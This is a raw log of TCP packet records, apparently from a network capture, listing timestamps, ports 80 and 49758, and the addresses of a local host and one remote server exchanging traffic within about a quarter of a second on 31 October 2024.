Oct 31, 2024 07:14:33.111021042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111037016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111048937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111059904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111069918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.111084938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.111093044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111102104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111112118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111123085 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.111135960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111146927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111155987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111155987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.111181974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.111200094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.111226082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111238003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111248016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111258030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111268997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111274958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.111309052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.111310959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111325979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111341953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111349106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.111354113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111365080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111375093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111387014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.111412048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111423969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.111428976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111449003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111452103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.111459970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111469030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111485958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.111490011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111500025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111510038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.111521006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.111547947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.151674986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.151704073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.151715994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.151729107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.151750088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.151755095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.151761055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.151772022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.151789904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.151798010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.151803017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.151813030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.151822090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.151822090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.151851892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.151875019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.194843054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.194871902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.194883108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.194921970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.194953918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.227623940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.227641106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.227652073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.227663994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.227674961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.227686882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.227704048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.227739096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.227746964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.227750063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.227761984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.227773905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.227778912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.227818012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.228080034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228091002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228101969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228112936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228131056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.228151083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.228163004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228173018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228183031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228193998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228214979 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.228236914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.228252888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228264093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228274107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228291988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228300095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.228317976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228323936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.228334904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228343964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228358030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228358984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.228380919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228391886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228396893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.228403091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228415012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228418112 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.228440046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228451967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228461027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.228461981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228472948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228492975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.228516102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.228519917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228538036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228549004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228559017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.228560925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228573084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228595972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.228609085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228619099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228629112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228631973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.228667021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.228698015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228712082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228739023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228748083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.228775978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.228948116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228957891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228969097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228981018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228991985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.228991985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229029894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229038954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229055882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229065895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229074955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229084969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229090929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229096889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229106903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229115963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229135036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229157925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229165077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229176044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229185104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229213953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229242086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229264021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229274988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229285002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229296923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229310989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229346991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229372025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229382038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229392052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229410887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229417086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229427099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229439020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229448080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229448080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229460955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229471922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229482889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229485035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229505062 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229528904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229536057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229547024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229557037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229568005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229578018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229582071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229604006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229623079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229634047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229646921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229656935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229667902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229681969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229715109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229722023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229726076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229736090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229758024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229759932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229770899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229777098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229779959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229790926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229814053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229846954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229847908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229857922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229868889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229887009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229893923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229923964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229923964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229938030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229952097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229957104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229974031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229984999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.229985952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.229995966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230019093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230021954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230030060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230043888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230058908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230062008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230071068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230083942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230107069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230217934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230228901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230241060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230257988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230267048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230277061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230285883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230288982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230325937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230328083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230348110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230349064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230360031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230369091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230381012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230381012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230403900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230432034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230438948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230443001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230457067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230474949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230475903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230489016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230496883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230506897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230519056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230535030 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230556011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230645895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230658054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230670929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230690956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230703115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230705023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230710983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230734110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230736971 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230745077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230750084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230753899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230765104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230776072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230792046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230803967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230814934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230823994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230828047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230840921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230850935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230853081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230863094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230871916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230907917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230909109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230927944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230940104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230945110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.230951071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.230978966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.231012106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.270643950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.270657063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.270667076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.270701885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.270726919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.270739079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.270749092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.270752907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.270760059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.270770073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.270812035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.270834923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.313946962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.313961029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.313971996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.314069033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.346945047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.346981049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.346992970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347003937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347026110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347049952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347062111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347068071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.347080946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347098112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347109079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347131014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.347136021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347146988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347157001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347158909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.347167969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347178936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347186089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.347188950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347208977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347210884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.347227097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347232103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.347239017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347249031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347255945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.347261906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347279072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347290039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347299099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347300053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.347311020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347330093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347336054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347345114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.347352028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347388983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.347407103 CET	49758	80	192.168.2.4	185.215.113.206
